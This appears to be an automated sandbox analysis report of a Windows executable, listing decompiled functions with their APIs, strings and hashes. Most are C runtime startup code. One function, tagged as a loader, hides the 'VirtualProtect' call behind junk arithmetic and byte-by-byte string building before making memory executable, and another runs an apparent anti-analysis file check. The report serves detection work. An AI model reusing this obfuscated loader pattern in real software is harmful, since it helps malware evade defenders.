Function 0042491F, Relevance: 22.8, APIs: 12, Strings: 1, Instructions: 91
memoryCOMMON

Download Yara Rule

C-Code - Quality: 91%

			E0042491F(void* __ecx) {
				void* _t20;
				void* _t21;
				void* _t24;
				void* _t27;
				void* _t28;
				intOrPtr _t29;
				intOrPtr _t31;
				void* _t43;
				void* _t45;
				void* _t53;
				void* _t55;
				void* _t57;
				void* _t59;
				void* _t60;

				_t45 = __ecx;
				__imp__HeapSetInformation(0, 1, 0, 0);
				 *((intOrPtr*)(_t57 - 0x6c)) = E00424AC0();
				_t20 = E0042BF60(_t45); // executed
				if(_t20 == 0) {
					E00424A90(0x1c);
					_t59 = _t59 + 4; // executed
				}
				_t21 = L0042D370(); // executed
				if(_t21 == 0) {
					E00424A90(0x10);
					_t59 = _t59 + 4;
				}
				_push(1);
				E00423D10(_t45);
				_t60 = _t59 + 4;
				E00431560();
				 *((intOrPtr*)(_t57 - 4)) = 0;
				_t24 = E00430620(); // executed
				_t66 = _t24;
				if(_t24 < 0) {
					L0042FE70(_t43, _t45, _t53, _t55, _t66, 0x1b);
					_t60 = _t60 + 4;
				}
				 *0x775a04 = GetCommandLineW();
				 *0x773aa8 = E004314B0();
				_t27 = E004310C0();
				_t67 = _t27;
				if(_t27 < 0) {
					L0042FE70(_t43, _t45, _t53, _t55, _t67, 8);
					_t60 = _t60 + 4; // executed
				}
				_t28 = E00430F20(); // executed
				_t68 = _t28;
				if(_t28 < 0) {
					L0042FE70(_t43, _t45, _t53, _t55, _t68, 9);
					_t60 = _t60 + 4;
				}
				_t29 = E0042FD50(_t45, 1); // executed
				 *((intOrPtr*)(_t57 - 0x64)) = _t29;
				_t69 =  *((intOrPtr*)(_t57 - 0x64));
				if( *((intOrPtr*)(_t57 - 0x64)) != 0) {
					L0042FE70(_t43,  *((intOrPtr*)(_t57 - 0x64)), _t53, _t55, _t69,  *((intOrPtr*)(_t57 - 0x64)));
				}
				 *((intOrPtr*)(_t57 - 0x68)) = E00430E80();
				if(( *(_t57 - 0x34) & 0x00000001) == 0) {
					 *(_t57 - 0x78) = 0xa;
				} else {
					 *(_t57 - 0x78) =  *(_t57 - 0x30) & 0x0000ffff;
				}
				_t31 = E0041C74C(_t43,  *((intOrPtr*)(_t57 - 0x68)), 0x400000, 0,  *((intOrPtr*)(_t57 - 0x68)),  *(_t57 - 0x78)); // executed
				 *((intOrPtr*)(_t57 - 0x70)) = _t31;
				if( *((intOrPtr*)(_t57 - 0x6c)) == 0) {
					E0042FDF0( *((intOrPtr*)(_t57 - 0x70)));
				}
				E0042FE30();
				 *((intOrPtr*)(_t57 - 4)) = 0xfffffffe;
				 *[fs:0x0] =  *((intOrPtr*)(_t57 - 0x10));
				return  *((intOrPtr*)(_t57 - 0x70));
			}

0x0042491f
0x00424927
0x00424932
0x00424935
0x0042493c
0x00424940
0x00424945
0x00424945
0x00424948
0x0042494f
0x00424953
0x00424958
0x00424958
0x0042495b
0x0042495d
0x00424962
0x00424965
0x0042496a
0x00424971
0x00424976
0x00424978
0x0042497c
0x00424981
0x00424981
0x0042498a
0x00424994
0x00424999
0x0042499e
0x004249a0
0x004249a4
0x004249a9
0x004249a9
0x004249ac
0x004249b1
0x004249b3
0x004249b7
0x004249bc
0x004249bc
0x004249c1
0x004249c9
0x004249cc
0x004249d0
0x004249d6
0x004249db
0x004249e3
0x004249ec
0x004249f7
0x004249ee
0x004249f2
0x004249f2
0x00424a0d
0x00424a12
0x00424a19
0x00424a1f
0x00424a1f
0x00424a24
0x00424a29
0x00424a77
0x00424a85

APIs

HeapSetInformation.KERNEL32(00000000,00000001,00000000,00000000), ref: 00424927
_check_managed_app.LIBCMTD ref: 0042492D

Part of subcall function 0042BF60: HeapCreate.KERNELBASE(00000000,00001000,00000000,?,?,0042493A), ref: 0042BF76

_fast_error_exit.LIBCMTD ref: 00424940

Part of subcall function 00424A90: __FF_MSGBANNER.LIBCMTD ref: 00424A9E
Part of subcall function 00424A90: __NMSG_WRITE.LIBCMTD ref: 00424AA7

_fast_error_exit.LIBCMTD ref: 00424953
__RTC_Initialize.LIBCMTD ref: 00424965
__ioinit.LIBCMTD ref: 00424971
GetCommandLineW.KERNEL32 ref: 00424984
___crtGetEnvironmentStringsW.LIBCMTD ref: 0042498F
___wsetargv.LIBCMTD ref: 00424999
__wsetenvp.LIBCMTD ref: 004249AC
__cinit.LIBCMTD ref: 004249C1
__wwincmdln.LIBCMTD ref: 004249DE

Strings

&v, xrefs: 00424935

Memory Dump Source

Source File: 00000001.00000002.279832788.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.279820941.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.279867413.000000000044A000.00000004.00020000.sdmp Download File
Associated: 00000001.00000002.279895863.0000000000773000.00000004.00020000.sdmp Download File
Associated: 00000001.00000002.279900643.0000000000777000.00000002.00020000.sdmp Download File

Similarity

API ID: Heap_fast_error_exit$CommandCreateEnvironmentInformationInitializeLineStrings___crt___wsetargv__cinit__ioinit__wsetenvp__wwincmdln_check_managed_app
String ID: &v
API String ID: 2388210866-2659828657
Opcode ID: e52f0d764b88764c205354e00343fe1d1f764019ab57803cdcc64e939278c53d
Instruction ID: ed430169ea215aefa7c40edc701aac45ab3095e9cb06b6a1816d4f233b6cc07d
Opcode Fuzzy Hash: e52f0d764b88764c205354e00343fe1d1f764019ab57803cdcc64e939278c53d
Instruction Fuzzy Hash: 613172B1F403259AEB10ABF2BC0775E76B0AB5470CFA0013EE509AB292E67954448A5E

Uniqueness

Uniqueness Score: -1.00%

Function 00421B87, Relevance: 19.5, APIs: 5, Strings: 6, Instructions: 256
COMMON

Download Yara Rule

C-Code - Quality: 59%

			E00421B87() {
				signed int _t81;
				signed int _t82;
				intOrPtr _t83;
				signed int _t99;
				void* _t104;
				void* _t105;
				signed int _t107;
				void* _t111;
				void* _t112;
				intOrPtr _t114;
				void* _t117;
				signed int _t123;
				signed int _t124;
				intOrPtr _t127;
				signed int _t128;
				signed int _t158;
				intOrPtr _t159;
				intOrPtr _t160;
				signed int _t170;
				signed int _t171;
				void* _t174;
				void* _t176;
				void* _t177;
				void* _t187;
				void* _t191;

				_t177 = _t176 + 4;
				 *(_t174 - 4) = 0;
				if( *0x773a8c > 0) {
					_t114 =  *0x773a8c; // 0x0
					_t187 =  *0x773a74 - _t114 - 1; // 0x0
					if(_t187 != 0) {
						_t170 =  *0x773a74; // 0x0
						_t171 = _t170 + 1;
						__eflags = _t171;
						 *0x773a74 = _t171;
					} else {
						if(E00422E10() == 0) {
							_push(L"_CrtCheckMemory()");
							_push(0);
							_push(0x17f);
							_push(L"f:\\dd\\vctools\\crt_bld\\self_x86\\crt\\src\\dbgheap.c");
							_push(2);
							_t117 = L00427590();
							_t177 = _t177 + 0x14;
							if(_t117 == 1) {
								asm("int3");
							}
						}
						 *0x773a74 = 0;
					}
				}
				_t81 =  *0x44ab78; // 0x34
				 *(_t174 - 0x28) = _t81;
				if( *0x44ab7c != 0xffffffff) {
					_t191 =  *(_t174 - 0x28) -  *0x44ab7c; // 0xffffffff
					if(_t191 == 0) {
						asm("int3");
					}
				}
				if( *0x44ae44 == 0) {
					L19:
					__eflags = ( *(_t174 + 0xc) & 0x0000ffff) - 2;
					if(( *(_t174 + 0xc) & 0x0000ffff) != 2) {
						_t107 =  *0x44ab70; // 0x1
						__eflags = _t107 & 0x00000001;
						if((_t107 & 0x00000001) == 0) {
							 *(_t174 - 0x1c) = 1;
						}
					}
					__eflags =  *((intOrPtr*)(_t174 + 8)) - 0xffffffbc;
					if( *((intOrPtr*)(_t174 + 8)) <= 0xffffffbc) {
						__eflags = ( *(_t174 + 0xc) & 0x0000ffff) - 4;
						if(( *(_t174 + 0xc) & 0x0000ffff) != 4) {
							__eflags =  *(_t174 + 0xc) - 1;
							if( *(_t174 + 0xc) != 1) {
								__eflags = ( *(_t174 + 0xc) & 0x0000ffff) - 2;
								if(( *(_t174 + 0xc) & 0x0000ffff) != 2) {
									__eflags =  *(_t174 + 0xc) - 3;
									if( *(_t174 + 0xc) != 3) {
										_t104 = L0042B7E0(1, 0, 0, 0, "%s", "Error: memory allocation: bad memory block type.\n");
										_t177 = _t177 + 0x18;
										__eflags = _t104 - 1;
										if(_t104 == 1) {
											asm("int3");
										}
									}
								}
							}
						}
						 *((intOrPtr*)(_t174 - 0x2c)) =  *((intOrPtr*)(_t174 + 8)) + 0x24;
						_t82 = E0042B780( *((intOrPtr*)(_t174 + 8)) + 0x24,  *((intOrPtr*)(_t174 - 0x2c))); // executed
						 *(_t174 - 0x24) = _t82;
						__eflags =  *(_t174 - 0x24);
						if( *(_t174 - 0x24) != 0) {
							_t123 =  *0x44ab78; // 0x34
							_t124 = _t123 + 1;
							 *0x44ab78 = _t124;
							__eflags =  *(_t174 - 0x1c);
							if( *(_t174 - 0x1c) == 0) {
								__eflags = (_t124 | 0xffffffff) -  *0x773a6c -  *((intOrPtr*)(_t174 + 8));
								if((_t124 | 0xffffffff) -  *0x773a6c <=  *((intOrPtr*)(_t174 + 8))) {
									 *0x773a6c = 0xffffffff;
								} else {
									_t160 =  *0x773a6c; // 0x383e
									 *0x773a6c = _t160 +  *((intOrPtr*)(_t174 + 8));
								}
								_t83 =  *0x773a84; // 0x1fc8
								 *0x773a84 = _t83 +  *((intOrPtr*)(_t174 + 8));
								_t127 =  *0x773a84; // 0x1fc8
								__eflags = _t127 -  *0x773a78; // 0x2376
								if(__eflags > 0) {
									_t159 =  *0x773a84; // 0x1fc8
									 *0x773a78 = _t159;
								}
								__eflags =  *0x773a7c;
								if( *0x773a7c == 0) {
									 *0x773a70 =  *(_t174 - 0x24);
								} else {
									_t99 =  *0x773a7c; // 0xba1318
									 *(_t99 + 4) =  *(_t174 - 0x24);
								}
								_t128 =  *0x773a7c; // 0xba1318
								 *( *(_t174 - 0x24)) = _t128;
								 *( *(_t174 - 0x24) + 4) = 0;
								 *( *(_t174 - 0x24) + 8) =  *(_t174 + 0x10);
								 *((intOrPtr*)( *(_t174 - 0x24) + 0xc)) =  *((intOrPtr*)(_t174 + 0x14));
								 *((intOrPtr*)( *(_t174 - 0x24) + 0x10)) =  *((intOrPtr*)(_t174 + 8));
								 *( *(_t174 - 0x24) + 0x14) =  *(_t174 + 0xc);
								 *( *(_t174 - 0x24) + 0x18) =  *(_t174 - 0x28);
								 *0x773a7c =  *(_t174 - 0x24);
							} else {
								 *( *(_t174 - 0x24)) = 0;
								 *( *(_t174 - 0x24) + 4) = 0;
								 *( *(_t174 - 0x24) + 8) = 0;
								 *((intOrPtr*)( *(_t174 - 0x24) + 0xc)) = 0xfedcbabc;
								 *((intOrPtr*)( *(_t174 - 0x24) + 0x10)) =  *((intOrPtr*)(_t174 + 8));
								 *( *(_t174 - 0x24) + 0x14) = 3;
								 *( *(_t174 - 0x24) + 0x18) = 0;
							}
							E00421980( *(_t174 - 0x24) + 0x1c,  *0x44ab80 & 0x000000ff, 4);
							E00421980( *(_t174 - 0x24) +  *((intOrPtr*)(_t174 + 8)) + 0x20,  *0x44ab80 & 0x000000ff, 4);
							E00421980( *(_t174 - 0x24) + 0x20,  *0x44ab83 & 0x000000ff,  *((intOrPtr*)(_t174 + 8)));
							_t158 =  *(_t174 - 0x24) + 0x20;
							__eflags = _t158;
							 *(_t174 - 0x20) = _t158;
						} else {
							__eflags =  *(_t174 + 0x18);
							if( *(_t174 + 0x18) != 0) {
								 *( *(_t174 + 0x18)) = 0xc;
							}
						}
					} else {
						_t105 = L0042B7E0(1, 0, 0, 0, "Invalid allocation size: %Iu bytes.\n",  *((intOrPtr*)(_t174 + 8)));
						__eflags = _t105 - 1;
						if(_t105 == 1) {
							asm("int3");
						}
						__eflags =  *(_t174 + 0x18);
						if( *(_t174 + 0x18) != 0) {
							 *( *(_t174 + 0x18)) = 0xc;
						}
					}
					L50:
					 *(_t174 - 4) = 0xfffffffe;
					E00421EDC();
					 *[fs:0x0] =  *((intOrPtr*)(_t174 - 0x10));
					return  *(_t174 - 0x20);
				}
				_t111 =  *0x44ae44(1, 0,  *((intOrPtr*)(_t174 + 8)),  *(_t174 + 0xc),  *(_t174 - 0x28),  *(_t174 + 0x10),  *((intOrPtr*)(_t174 + 0x14)));
				_t177 = _t177 + 0x1c;
				if(_t111 != 0) {
					goto L19;
				}
				if( *(_t174 + 0x10) == 0) {
					_t112 = L0042B7E0(0, 0, 0, 0, "%s", "Client hook allocation failure.\n");
					__eflags = _t112 - 1;
					if(_t112 == 1) {
						asm("int3");
					}
					L18:
					goto L50;
				}
				_push( *((intOrPtr*)(_t174 + 0x14)));
				if(L0042B7E0(0, 0, 0, 0, "Client hook allocation failure at file %hs line %d.\n",  *(_t174 + 0x10)) == 1) {
					asm("int3");
				}
				goto L18;
			}

0x00421b87
0x00421b8a
0x00421b98
0x00421b9a
0x00421ba2
0x00421ba8
0x00421be0
0x00421be6
0x00421be6
0x00421be9
0x00421baa
0x00421bb1
0x00421bb3
0x00421bb8
0x00421bba
0x00421bbf
0x00421bc4
0x00421bc6
0x00421bcb
0x00421bd1
0x00421bd3
0x00421bd3
0x00421bd1
0x00421bd4
0x00421bd4
0x00421ba8
0x00421bef
0x00421bf4
0x00421bfe
0x00421c03
0x00421c09
0x00421c0b
0x00421c0b
0x00421c09
0x00421c13
0x00421c8a
0x00421c93
0x00421c96
0x00421c98
0x00421c9d
0x00421ca0
0x00421ca2
0x00421ca2
0x00421ca0
0x00421ca9
0x00421cad
0x00421ceb
0x00421cee
0x00421cf0
0x00421cf4
0x00421cff
0x00421d02
0x00421d04
0x00421d08
0x00421d1c
0x00421d21
0x00421d24
0x00421d27
0x00421d29
0x00421d29
0x00421d27
0x00421d08
0x00421d02
0x00421cf4
0x00421d30
0x00421d37
0x00421d3f
0x00421d42
0x00421d46
0x00421d5c
0x00421d62
0x00421d65
0x00421d6b
0x00421d6f
0x00421dc3
0x00421dc6
0x00421dd9
0x00421dc8
0x00421dc8
0x00421dd1
0x00421dd1
0x00421de3
0x00421deb
0x00421df0
0x00421df6
0x00421dfc
0x00421dfe
0x00421e04
0x00421e04
0x00421e0a
0x00421e11
0x00421e23
0x00421e13
0x00421e13
0x00421e1b
0x00421e1b
0x00421e2c
0x00421e32
0x00421e37
0x00421e44
0x00421e4d
0x00421e56
0x00421e5f
0x00421e68
0x00421e6e
0x00421d71
0x00421d74
0x00421d7d
0x00421d87
0x00421d91
0x00421d9e
0x00421da4
0x00421dae
0x00421dae
0x00421e85
0x00421ea2
0x00421ebd
0x00421ec8
0x00421ec8
0x00421ecb
0x00421d48
0x00421d48
0x00421d4c
0x00421d51
0x00421d51
0x00421d57
0x00421caf
0x00421cc0
0x00421cc8
0x00421ccb
0x00421ccd
0x00421ccd
0x00421cce
0x00421cd2
0x00421cd7
0x00421cd7
0x00421cdd
0x00421ece
0x00421ece
0x00421ed5
0x00421eed
0x00421efb
0x00421efb
0x00421c2d
0x00421c33
0x00421c38
0x00000000
0x00000000
0x00421c3e
0x00421c77
0x00421c7f
0x00421c82
0x00421c84
0x00421c84
0x00421c85
0x00000000
0x00421c85
0x00421c43
0x00421c60
0x00421c62
0x00421c62
0x00000000

APIs

__CrtCheckMemory.LIBCMTD ref: 00421BAA
__heap_alloc_base.LIBCMTD ref: 00421D37
_memset.LIBCMT ref: 00421E85
_memset.LIBCMT ref: 00421EA2
_memset.LIBCMT ref: 00421EBD

Strings

Invalid allocation size: %Iu bytes., xrefs: 00421CB3
Error: memory allocation: bad memory block type., xrefs: 00421D0A
Client hook allocation failure at file %hs line %d., xrefs: 00421C48
_CrtCheckMemory(), xrefs: 00421BB3
f:\dd\vctools\crt_bld\self_x86\crt\src\dbgheap.c, xrefs: 00421BBF
Client hook allocation failure., xrefs: 00421C65

Memory Dump Source

Source File: 00000001.00000002.279832788.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.279820941.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.279867413.000000000044A000.00000004.00020000.sdmp Download File
Associated: 00000001.00000002.279895863.0000000000773000.00000004.00020000.sdmp Download File
Associated: 00000001.00000002.279900643.0000000000777000.00000002.00020000.sdmp Download File

Similarity

API ID: _memset$CheckMemory__heap_alloc_base
String ID: Client hook allocation failure at file %hs line %d.$Client hook allocation failure.$Error: memory allocation: bad memory block type.$Invalid allocation size: %Iu bytes.$_CrtCheckMemory()$f:\dd\vctools\crt_bld\self_x86\crt\src\dbgheap.c
API String ID: 4254127243-2462871736
Opcode ID: 6095eb49429d669241a28ea8f1abdf80515b866803b6d311e3a09bb50d29a6c6
Instruction ID: 5651736e76e4fee4f458714b025fe67936a055603341e71e961c248e691f0e33
Opcode Fuzzy Hash: 6095eb49429d669241a28ea8f1abdf80515b866803b6d311e3a09bb50d29a6c6
Instruction Fuzzy Hash: C5B1A074A00214DFDB14CF54ED86BAA77F1EB58304F60C11AE9196B3A1D379AE80CF99

Uniqueness

Uniqueness Score: -1.00%

Function 00860420, Relevance: 10.6, APIs: 2, Strings: 4, Instructions: 113COMMON

Download Yara Rule

APIs

CreateWindowExA.USER32(00000200,saodkfnosa9uin,mfoaskdfnoa,00CF0000,80000000,80000000,000003E8,000003E8,00000000,00000000,00000000,00000000), ref: 00860533

Strings

mfoaskdfnoa, xrefs: 00860520, 00860523
0, xrefs: 00860492
d, xrefs: 00860584
saodkfnosa9uin, xrefs: 008604DA

Memory Dump Source

Source File: 00000001.00000002.279908041.0000000000860000.00000040.00000001.sdmp, Offset: 00860000, based on PE: false

Similarity

API ID: CreateWindow
String ID: 0$d$mfoaskdfnoa$saodkfnosa9uin
API String ID: 716092398-2341455598
Opcode ID: bb9b397fb3b679a7694c33bc0dbf232ca5c2d59a4e09fc52e4db1d59d2773c33
Instruction ID: 98a3d3d7ae511a9b9ea567fc181acbd6f8e85e4971bd31f107135bfb9894c274
Opcode Fuzzy Hash: bb9b397fb3b679a7694c33bc0dbf232ca5c2d59a4e09fc52e4db1d59d2773c33
Instruction Fuzzy Hash: 95511870D08388DAEB11CBE8C849BDEBFB2AF11708F144058D5457F286C7BA5A58CB66

Uniqueness

Uniqueness Score: -1.00%

Function 0041BE61, Relevance: 5.5, APIs: 2, Strings: 1, Instructions: 213
librarymemoryloaderCOMMON

Download Yara Rule

C-Code - Quality: 100%

			E0041BE61(void* __eax, void* __ebx, long _a4, intOrPtr _a32, void* _a40, void* _a68, intOrPtr _a104, intOrPtr _a184, intOrPtr _a192, intOrPtr _a200, intOrPtr _a252, intOrPtr _a260, intOrPtr _a268, void* _a288, intOrPtr _a312, void* _a384, void* _a392, intOrPtr _a396, intOrPtr _a404, intOrPtr _a408, intOrPtr _a412, intOrPtr _a420, void* _a428, intOrPtr _a436, intOrPtr _a444, void* _a452, void* _a496, intOrPtr _a504, intOrPtr _a512, intOrPtr _a520, intOrPtr _a588, void* _a596, intOrPtr _a604, intOrPtr _a612, intOrPtr _a620, intOrPtr _a628, void* _a680, intOrPtr _a712, void* _a724, void* _a760, intOrPtr _a816, intOrPtr _a864, intOrPtr _a884, intOrPtr _a892, intOrPtr _a900, intOrPtr _a908, intOrPtr _a920, intOrPtr _a960, intOrPtr _a988, intOrPtr _a1012, intOrPtr _a1020, void* _a1028, intOrPtr _a1040, intOrPtr _a1072, intOrPtr _a1120, intOrPtr _a1144, intOrPtr _a1148, intOrPtr _a1156, intOrPtr _a1164, intOrPtr _a1260, intOrPtr _a1276, intOrPtr _a1284, intOrPtr _a1320) {
				int _t531;
				CHAR* _t571;

				_a260 = _a260 + 0x18ec1f3c;
				_a1148 = _a1148 + 0x11b4f3a1;
				_a512 = _a512 - 0x9360dfa;
				_a1284 = _a1284 + 0x3bc4850;
				_a268 = _a268 + 0x3fc32911;
				_a512 = _a512 - 0x5c7afcf4;
				_a1276 = _a1276 + 0x381fff7e;
				_a892 = _a892 - 0x5397bd3;
				_a1040 = _a1040 + 0x23d928b;
				_a864 = _a864 - 0x285cfe64;
				_a612 = _a612 + 0x2eb3a24e;
				_a908 = _a908 + 0x4ad506d2;
				_a260 = _a260 - 0x280ca9b1;
				_a1040 = _a1040 + 0x1d7da27a;
				_a408 = _a408 + 0x39ae4f86;
				_a200 = _a200 + 0x3bae3684;
				_a620 = _a620 + 0x319c6713;
				_a900 = _a900 - 0x5ee7d8f4;
				_a908 = _a908 + 0x7c8a205d;
				_a312 = _a312 + 0x8260d2e;
				_a444 = _a444 - 0x58badc6b;
				_a920 = _a920 + 0x5c251ab0;
				_a1020 = _a1020 + 0x26e7f284;
				_a816 = _a816 + 0x3622c198;
				_a628 = _a628 - 0x4331064d;
				_a184 = _a184 + 0x196ab841;
				_a1020 = _a1020 - 0x6ccd4fc1;
				_a1284 = _a1284 - 0x50573bc2;
				_a1120 = _a1120 - 0x4f724783;
				_a1164 = _a1164 + 0x1f392d37;
				_a1072 = _a1072 + 0x517d7f70;
				_a712 = _a712 + 0x4ea86d2;
				_a1120 = _a1120 - 0x337ac75d;
				_a588 = _a588 + 0x3ac533a0;
				_a612 = _a612 + 0x576c8f92;
				_a816 = _a816 - 0x73e959b4;
				_a1020 = _a1020 + 0x26052a49;
				_a612 = _a612 - 0x2a7f4b76;
				_a32 = _a32 - 0x28fec13f;
				_a1276 = _a1276 + 0x1f2a008d;
				_a436 = _a436 - 0x5809c051;
				_a620 = _a620 + 0x344abe69;
				_a884 = _a884 - 0x137c90f8;
				_a408 = _a408 + 0x48728065;
				_a1072 = _a1072 - 0x4546c3b4;
				_a1040 = _a1040 - 0xb09baff;
				_a192 = _a192 + 0x3a0cc1d4;
				_a1120 = _a1120 - 0x7cc685d;
				_a268 = _a268 - 0x74be053a;
				_a412 = _a412 + 0x6a633f02;
				_a420 = _a420 + 0x366d47a7;
				_a1012 = _a1012 - 0x18e5d8af;
				_a712 = _a712 + 0x2b8fa57e;
				_a1156 = _a1156 + 0x20189a7f;
				_a604 = _a604 - 0x294e8bba;
				_a988 = _a988 + 0x37c66b51;
				_a396 = _a396 - 0x4cf91d4f;
				_a104 = _a104 - 0x2916cd44;
				_a184 = _a184 + 0x56ca55d4;
				_a252 = _a252 + 0x3375cc;
				_a864 = _a864 - 0x2a04f1a5;
				_a408 = _a408 - 0x632009c5;
				_a1040 = _a1040 + 0xa72f039;
				_a104 = _a104 - 0x78260375;
				_a504 = _a504 - 0x763098cf;
				_a588 = _a588 - 0x79bac24c;
				_a436 = _a436 + 0x70b8e7e1;
				_a408 = _a408 - 0x7d372d81;
				_a1284 = _a1284 - 0x51506ada;
				_a620 = _a620 + 0x3d94dea1;
				_a1320 = _a1320 + 0x45eea711;
				_a404 = _a404 - 0x63444b19;
				_a504 = _a504 + 0x4cdfc47b;
				_a908 = _a908 + 0x1d1a1a26;
				_a864 = _a864 + 0x6733802c;
				_a1148 = _a1148 - 0x6a948b57;
				_a960 = _a960 + 0x757f7fb1;
				_a864 = _a864 + 0x58b237cf;
				_a908 = _a908 + 0xf2db373;
				_a520 = _a520 - 0x6d98dcdb;
				_a816 = _a816 - 0x37f41803;
				_a412 = _a412 + 0x3d1e63ca;
				_a1144 = _a1144 + 0x4e27d44e;
				_a1260 = _a1260 + 0x6ac6d77a;
				"VirtualProtect" = "VirtualProtect" + 0xf6;
				"rotect" = "rotect" + 0xf6;
				M0044BA4E = 0x6c;
				 *0x44ba53 = 0x6365;
				 *0x44ba52 = 0x74;
				"rtualProtect" = 0x7472;
				M0044BA4C = 0x75;
				M0044BA49 = 0x69;
				 *0x44ba44 = GetProcAddress( *0x772e1c, _t571);
				_t531 = VirtualProtect( *0x76fe24,  *0x773824, 0x40,  &_a4); // executed
				return _t531;
			}

0x0041be70
0x0041be7b
0x0041be99
0x0041beca
0x0041bed5
0x0041bee0
0x0041beeb
0x0041bef6
0x0041bf27
0x0041bf45
0x0041bf50
0x0041bf6e
0x0041bf8c
0x0041bf97
0x0041bfa2
0x0041bfad
0x0041bfb8
0x0041bfc3
0x0041bfce
0x0041c012
0x0041c01d
0x0041c028
0x0041c046
0x0041c064
0x0041c06f
0x0041c07a
0x0041c085
0x0041c090
0x0041c0ae
0x0041c0b9
0x0041c0fd
0x0041c108
0x0041c113
0x0041c11e
0x0041c129
0x0041c134
0x0041c13f
0x0041c15d
0x0041c1a1
0x0041c1a9
0x0041c1b4
0x0041c1d2
0x0041c1dd
0x0041c1e8
0x0041c213
0x0041c21e
0x0041c229
0x0041c247
0x0041c252
0x0041c283
0x0041c28e
0x0041c2ac
0x0041c2b7
0x0041c2c2
0x0041c2cd
0x0041c2d8
0x0041c2f6
0x0041c30e
0x0041c316
0x0041c321
0x0041c32c
0x0041c337
0x0041c342
0x0041c34d
0x0041c355
0x0041c360
0x0041c37e
0x0041c39c
0x0041c3a7
0x0041c3b2
0x0041c3d0
0x0041c3ee
0x0041c3f9
0x0041c404
0x0041c40f
0x0041c41a
0x0041c425
0x0041c430
0x0041c43b
0x0041c446
0x0041c451
0x0041c45c
0x0041c47a
0x0041c485
0x0041c490
0x0041c497
0x0041c4a5
0x0041c4ac
0x0041c4b5
0x0041c4bc
0x0041c4c5
0x0041c4cc
0x0041c4e6
0x0041c4f1
0x0041c4fa

APIs

GetProcAddress.KERNEL32(?,?), ref: 0041C4D3
VirtualProtect.KERNELBASE(00000040,?,?,?,?,7D372D81,?,?,?,74BE053A,?,74BE053A,1F2A008D,?,?,?), ref: 0041C4F1

Strings

VirtualProtect, xrefs: 0041C49E

Memory Dump Source

Source File: 00000001.00000002.279832788.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.279820941.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.279867413.000000000044A000.00000004.00020000.sdmp Download File
Associated: 00000001.00000002.279895863.0000000000773000.00000004.00020000.sdmp Download File
Associated: 00000001.00000002.279900643.0000000000777000.00000002.00020000.sdmp Download File

Similarity

API ID: AddressProcProtectVirtual
String ID: VirtualProtect
API String ID: 3759838892-268857135
Opcode ID: 9c0b570bf99f47243376942655bd442dcd15939a148fd4ace3734b400d48ca5a
Instruction ID: 7ed2c657ec7017d8383edf3c426ff1e622d1e47f62ed7d49898bdd52270ca3d8
Opcode Fuzzy Hash: 9c0b570bf99f47243376942655bd442dcd15939a148fd4ace3734b400d48ca5a
Instruction Fuzzy Hash: 7AD1DDB96193818FD3B58B2AC5897CAF3E4FF95314F04890CE6D946A21D7319A84CF4B

Uniqueness

Uniqueness Score: -1.00%

Function 008605B0, Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 35COMMON

Download Yara Rule

APIs

GetFileAttributesA.KERNELBASE(apfHQ), ref: 008605EC

Strings

apfHQ, xrefs: 008605E2, 008605E5
o, xrefs: 00860600

Memory Dump Source

Source File: 00000001.00000002.279908041.0000000000860000.00000040.00000001.sdmp, Offset: 00860000, based on PE: false

Similarity

API ID: AttributesFile
String ID: apfHQ$o
API String ID: 3188754299-2999369273
Opcode ID: af0d3c0451304eea9a95bfbcf33a37b8699cda851cd8c30db079f59d0d7bd2d6
Instruction ID: 1b7e1c9c7098a92935539fc288257bcc305fc722126d1b7a73094522391a105b
Opcode Fuzzy Hash: af0d3c0451304eea9a95bfbcf33a37b8699cda851cd8c30db079f59d0d7bd2d6
Instruction Fuzzy Hash: 35011A70C0424CEADB10DBE8C5183AEBFB5AF51309F1480D9C4096B242D7B69B98CBA6

Uniqueness

Uniqueness Score: -1.00%

Function 00421ADF, Relevance: 3.5, APIs: 1, Strings: 1, Instructions: 41COMMON

Download Yara Rule

Strings

Qa, xrefs: 00421AD9

Memory Dump Source

Source File: 00000001.00000002.279832788.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.279820941.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.279867413.000000000044A000.00000004.00020000.sdmp Download File
Associated: 00000001.00000002.279895863.0000000000773000.00000004.00020000.sdmp Download File
Associated: 00000001.00000002.279900643.0000000000777000.00000002.00020000.sdmp Download File

Similarity

API ID:
String ID: Qa
API String ID: 0-3901847582
Opcode ID: 61b790be5433f0511e741ba8c0778ad6f58311940e419a3aef4558a5979820e8
Instruction ID: 042e12a5bc41e7467117fa46c4feb38628c9643560e6e2ef183573bc48166e21
Opcode Fuzzy Hash: 61b790be5433f0511e741ba8c0778ad6f58311940e419a3aef4558a5979820e8
Instruction Fuzzy Hash: 56012CB1700119DFDB14CF58E844BAB7BB5AB68304F50805AF80587260EB7DEA55CF95

Uniqueness

Uniqueness Score: -1.00%

Function 00421F0C, Relevance: 1.5, APIs: 1, Instructions: 40
COMMON

Download Yara Rule

C-Code - Quality: 100%

			E00421F0C() {
				intOrPtr _t27;
				intOrPtr _t28;
				void* _t31;
				intOrPtr _t38;
				void* _t40;

				if(0xffffffe0 /  *(_t40 + 8) >=  *(_t40 + 0xc)) {
					 *(_t40 + 0xc) =  *(_t40 + 0xc) *  *(_t40 + 8);
					_t38 =  *0x773c28; // 0x0
					_t27 = L00421AC0( *((intOrPtr*)(_t40 + 0x10)),  *(_t40 + 0xc), _t38,  *((intOrPtr*)(_t40 + 0x10)),  *((intOrPtr*)(_t40 + 0x14)),  *((intOrPtr*)(_t40 + 0x18)),  *((intOrPtr*)(_t40 + 0x1c))); // executed
					 *((intOrPtr*)(_t40 - 4)) = _t27;
					if( *((intOrPtr*)(_t40 - 4)) != 0) {
						E00421980( *((intOrPtr*)(_t40 - 4)), 0,  *(_t40 + 0xc));
					}
					_t28 =  *((intOrPtr*)(_t40 - 4));
				} else {
					 *((intOrPtr*)(L004256E0(_t31))) = 0xc;
					_t28 = 0;
				}
				return _t28;
			}

0x00421f19
0x00421f31
0x00421f44
0x00421f4f
0x00421f57
0x00421f5e
